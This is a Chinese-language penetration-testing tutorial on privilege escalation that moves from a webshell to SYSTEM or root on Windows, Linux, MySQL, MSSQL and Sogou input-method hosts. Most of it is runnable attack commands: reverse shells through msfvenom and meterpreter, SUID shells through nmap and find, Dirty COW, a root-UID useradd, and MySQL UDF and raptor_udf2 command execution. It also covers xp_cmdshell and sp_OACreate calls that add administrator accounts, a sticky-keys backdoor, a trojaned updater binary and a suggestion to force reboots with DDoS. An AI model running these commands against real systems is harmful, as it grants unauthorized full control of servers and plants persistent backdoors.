滲透測試中的提權思路(Linux、windows、數據庫、第三方軟件提權)
提權Webshell:盡量能夠獲取webshell,如果獲取不到webshell可以在有文件上傳的地方上傳反彈shell腳本;或者利用漏洞(系統漏洞,服務器漏洞,第三方軟件漏洞,數據庫漏洞)來獲取shell。
反彈shell:利用kali虛擬機msfVENOM編寫反彈shell腳本
被控制端發起的shell---通常用于被控制端因防火墻受限,權限不足、端口被占用
開啟監聽:msfconsole模塊監聽響應的反彈shell腳本(當靶機點擊腳本的時候),進入meterpreter模塊,可以getsystem權限,獲取信息等等,還可以開啟遠程服務功能(lcx,scocks5)

Windows系統漏洞提權思路---windows(可執行文件:一種是.com;另一種.exe)
系統溢出漏洞操作說明
1、明確漏洞編號及版本
2、明確漏洞利用平臺及版本
3、確保cmd執行權限正常運行
4、確保服務器相關防護軟件情況

查看系統補丁,提權前期準備【前提已獲取webshell】
- 方法一:輸入shell進入到該主機的shell下,然后:systeminfo 查看系統詳細信息
- 方法二:進入到 meterpreter 下,執行 run post/windows/gather/enum_patches 可以直接查看補丁情況
- 方法三:post/multi/recon/local_exploit_suggester 模塊,用于快速識別系統中可能被利用的漏洞
- 方法四:WMIC命令也可以查看補丁數量
- wmic qfe get Caption,Description,HotFixID,InstalledOn
- 也可以直接找是否存在某個cve-2018-8120對應的KB4131188補丁
- wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB4131188"
- 方法五:Windows Exploit Suggester
- 該工具可以將系統中已經安裝的補丁程序與微軟的漏洞數據庫進行比較,并可以識別可能導致權限提升的漏洞,而其只需要目標系統的信息。
- 通過msf生成反彈exe進行反彈操作,獲取meterpreter通道
- 監聽獲取成功后,進行exp的篩選
- 探測可提取的模塊use post/multi/recon/local_exploit_suggester
- windows系統漏洞示例
- 根據systeminfo查看補丁信息,發現未打上相應的補丁kb952004、KB956572,于是利用上傳巴西烤肉(Churrasco.exe)exp提權,Churrasco.exe是Windows2003系統下的一個本地提權漏洞,通過此工具可以以SYSTEM權限執行命令,從而可以達到添加用戶的目的。
- 由于低權限用戶無法執行太多操作,可以利用反彈上傳Churrasco.exe,后續可以利用它來做提權。

- 添加用戶以及加入管理員組,方便我們提高操作權限。

- 輸入net user指令查看是否添加成功,最后提權成功。

linux系統提權思路
linux基礎信息收集
uname -a 顯示全部系統信息
cat /etc/issue 內核信息。此命令也適用于所有的Linux發行版
cat /etc/passwd 所有人都可看
ps aux | grep root
(1)#內核漏洞提權
方法:
通過信息收集方式得知linux內核版本
使用searchspolit搜索相應版本漏洞
例:searchsploit linux 4.0.0
searchsploit Ubuntu 16.04
searchsploit Ubuntu 16 kernel 3.10
找到對應的.c源文件,將其發送到靶機/或是靶機下載 scp, wget http://127.0.0.1/xx.c
編譯,gcc xxx.c -o exp
(2)#SUID提權
概念
SUID(設置用戶ID)是賦予文件的一種權限,它會出現在文件擁有者權限的執行位上,具有這種權限的文件會在其執行時,使調用者暫時獲得該文件擁有者的權限。
特點
SUID 權限僅對二進制程序有效
執行者對于該程序需要有可執行權限(x權限)
SUID 權限僅僅在程序執行過程中有效
執行該程序時,執行者將具有該程序擁有者的權限
首先在本地查找符合條件的文件,有以下三個命令
列出來的所有文件都是以root用戶權限來執行的,接下來找到可以提權的文件
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
常用的可用于suid提權的文件
Nmap、Vim、find、Bash、More、Less、cp
(3)#nmap提權
較舊版本的Nmap(2.02至5.21)帶有交互模式,從而允許用戶執行shell命令。因此可以使用交互式控制臺來運行具有相同權限的shell。
方法一:
啟動交互模式,使用nmap --interactive
!sh #執行之后將提供一個提權后的shell。
方法二:
Metasploit模塊,也可以通過SUID Nmap二進制文件進行提權。
exploit/unix/local/setuid_nmap
(4)#find提權
實用程序find用來在系統中查找文件。同時,它也有執行命令的能力。因此,如果配置為使用SUID權限運行,則可以通過find執行的命令都將以root身份去運行。
(5)#sudo提權
sudo命令以系統管理者的身份執行指令,也就是說,經由 sudo 所執行的指令就好像是 root 親自執行。
sudo 表示 “superuser do”。它允許已驗證的用戶以其他用戶的身份來運行命令。其他用戶可以是普通用戶或者超級用戶。然而,大部分時候我們用它來以提升的權限來運行命令。
linux內核提權示例
1.使用nc或lcx反彈到攻擊者的電腦
2.使用 uname –a 查看Linux 版本內核等系統信息
3.在exploit庫中尋找相應系統版本和內核的漏洞利用模塊。(www.exploit-db.com)
4.上傳exp到目標服務器中,chmod 777賦予exp權限,需要進行編譯的先進行編譯。
5.提權后便可以添加ssh用戶 (useradd -o -u 0 -g 0 username)
通過webshell上傳ft.pl,為了等下的反彈shell

系統信息收集Uname -a顯示的版本內核為(2.6.24>2.6.22),可能存在臟牛漏洞

ft.pl文件反彈shell

Kali開啟監聽

編譯dirty.c文件,生成一個可執行的EXP,運行./dirty su123(密碼)
生成賬號firefart,密碼su123

新生成的管理員用戶firefart把原來的root用戶替換掉了(root--->firefart)

可以通過ssh連接

數據庫提權思路
數據庫獲取網站數據庫的賬號和密碼
--通過讀取一些數據庫配置文件
數據庫配置文件:命令規則(data、sql、inc、config、conn、database等)
--通過mysql數據庫的user表
數據庫安裝文件:安裝目錄下data/mysql/user.myd
frm:描述表結構文件,字段長度
myi:索引信息
myd:數據庫信息文件,存儲數據信息

(1)mysql數據庫——udf提權
udf文件:udf(user-defined-function)是mysql得一個拓展接口,也稱為用戶自定義函數,用戶通過自定義函數來實現在mysql中無法方便實現得功能
udf文件后綴名: .dll(windows)linux后綴名:.so
提權原理
已知root賬號和密碼,利用root權限,創建帶有調用cmd函數的“udf.dll”。當我們把udf.dll導出指定文件夾引入mysql時候,其中的調用函數拿出來當作mysql函數來使用
注意事項
mysql版本小于5.1版本,udf.dll文件在windows2003下放在:c:\windows\system32。在windows2000放在:c:\winnt\system32
mysql版本大于5.1版本,udf.dll文件必須放置在mysql安裝目錄下的lib\plugin。但是大于5.1版本的時候沒有plugin這個文件夾,需要自己創建。
利用udf文件加載函數執行命令
create function cmdshell returns string soname 'udf.dll'; //returns string soname ‘導出的DLL路徑’;
select cmdshell('net user ndsec ndsecpw /add');
select cmdshell('net localgroup administrators ndsec /add');
drop function cmdshell;
(2)#數據庫提權——mof提權
mof文件:mof文件是mysql數據庫的擴展文件
存放路徑(C:/windows/system32/wbem/mof/nullevt.mof)
其作用是每隔5秒就會去監控進程創建和死亡。
提權條件
1、windows2003及以下
2、mysql啟動身份具有權限去讀寫C:/windows/system32/wbem/mof/目錄
3、secure-file-priv=不為null
提權原理
mof文件每5秒就會執行,而且是系統權限,我們可以通過load_file將文件寫入/wbme/mof,然后系統每5秒就會執行一次我們上傳的mof
mof當中是一段vbs腳本,通過通過控制vbs腳本讓系統執行命令,進行提權。
(3)#數據庫提權——反彈端口提權
提權條件
1、獲取數據庫的賬號和密碼,同時能夠執行查詢命令。
2、secure_file_priv=,可導出udf.dll到系統目錄或者mysql數據庫安裝目錄下的lib下plugin
3、授權mysql數據庫遠程用戶的登錄
(4)#數據庫提權——啟動項提權 (這種方法不推薦)
提權原理
使用mysql寫文件,寫一段vbs代碼到開啟自啟動中。服務器重啟的時候達到創建用戶并提取。可以使用DDOS迫使服務器重啟
提權條件
secure_file_priv不為null
已知賬號和密碼
(5)linux系統-udf提權
上傳腳本進行監聽
靶機連接數據庫
查看版本
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select do_system('chmod u+s /usr/bin/find');
find / -exec "/bin/sh" \;
mssql數據庫SA權限
執行命令存儲過程:xp_cmshell、sp_OACreate
注冊表存儲過程:xp_regwrite
存儲過程
其實質就是一個“集合”。它就是存儲在sqlserver中預先定義好的“sql語句集合。”使用T-SQL語言編寫好的各種小腳本共同組合成的集合體,我們就稱為“存儲過程”
利用xp_cmdshell提權
(1)xp_cmdshell解釋
Xp_cmdshell是sqlserver中的組件,可以以操作系統命令解釋器的方式執行給定的命令字符串,并以文本行方式返回任何輸出。可以用來執行系統命令
(2)xp_cmdshell開啟
默認在sql server2000中是開啟的,在sqlserver2005之后的版本默認禁止。如果我們有sa權限,可以用命令開啟
exec sp_configure ‘show advanced options’ , 1;reconfigure;
exec sp_configure ‘xp_cmdshell’, 1;reconfigure;
xp_cmdshell 關閉
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'ole automation procedures',0;reconfigure;
exec sp_configure 'show advanced options',0;reconfigure;
(3)當xp_cmdshell刪除或出錯的情況下,使用sp_OACreate組件
開啟組件SP_OACreate
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'ole automation procedures',1;reconfigure;
關閉組件SP_OACreate
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'ole automation procedures',0;reconfigure;
exec sp_configure 'show advanced options',0;reconfigure;
利用SP_OACreate添加用戶提權
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user quan 123456 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators quan /add'
利用SP_OACreate的其他操作
sp_OACreate替換粘貼鍵
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
execsp_oamethod@o,'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
execsp_oamethod@o,'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
(4)使用注冊表存儲過程:xp_regwrite
udf提權示例
- (1)mysql版本小于5.1版本,udf.dll文件在windows2003下放在:c:\windows\system32。在windows2000放在:c:\winnt\system32
- (2)mysql版本大于5.1版本,udf.dll文件必須放置在mysql安裝目錄下的lib\plugin。但是大于5.1版本的時候沒有plugin這個文件夾,需要自己創建。
- (3)利用udf文件加載函數執行命令
- ```shell
- create function cmdshell returns string soname 'udf.dll'; //returns string soname ‘導出的DLL路徑’;
- select cmdshell('net user ndsec ndsecpw /add');
- select cmdshell('net localgroup administrators ndsec /add');
- drop function cmdshell;
```
用蟻劍連接一句話木馬,執行蟻劍的數據庫功能模塊(可以執行SQL語句),查看版本(5.5.53>5.1),udf.dll文件必須放置在mysql安裝目錄下的lib\plugin。但是大于5.1版本的時候沒有plugin這個文件夾,需要自己創建。

在c:/phpStudy/MySQL/lib/目錄下創建一個文件夾plugin,然后上傳我們的udf.dll文件

把udf.dll導出指定文件夾引入mysql,調用cmd函數的”udf.dll”

查看當前用戶,當前并無ndsec用戶

調用cmd創建用戶,用戶名為ndsec,密碼為ndsecpw
net user ndsec ndsecpw /add

添加用戶ndsec進系統用戶組
net user localgroup administrators ndsec /add

刪除cmd函數

查看當前系統用戶,發現添加用戶成功,提權成功

第三方軟件提權思路
第三方軟件指的是該非線性編輯系統生產商以外的軟件公司提供的軟件,功能十分強大,有些甚至是從工作站轉移過來的,可以這么說,非線性編輯系統之所以能做到效果變幻莫測,匪夷所思,吸引眾人的視線,完全取決于第三方軟件。第三方軟件提權,就是利用第三方軟件存在的漏洞來進行獲取一個權限的操作。
Sogou輸入法提權示例
由于搜狗輸入法默認設置是自動更新(很少有人去更改這個設置),更新程序沒有對exe做任何校驗直接在輸入法升級時調用運行,導致可以執行惡意代碼。
在獲取webshell的前提下,在D盤下找到了搜狗的路徑

編輯一個PinyinUp的bat文件,通過轉義軟件編譯成PinyinUp.exe,里面存放著惡意代碼

上傳我們的PinyinUp.exe文件,把之前搜狗路徑下的PinyinUp文件改個名字

當用戶更新詞庫的時候就會調用我們的PinyinUp.exe程序,然后生成用戶密碼

添加成功

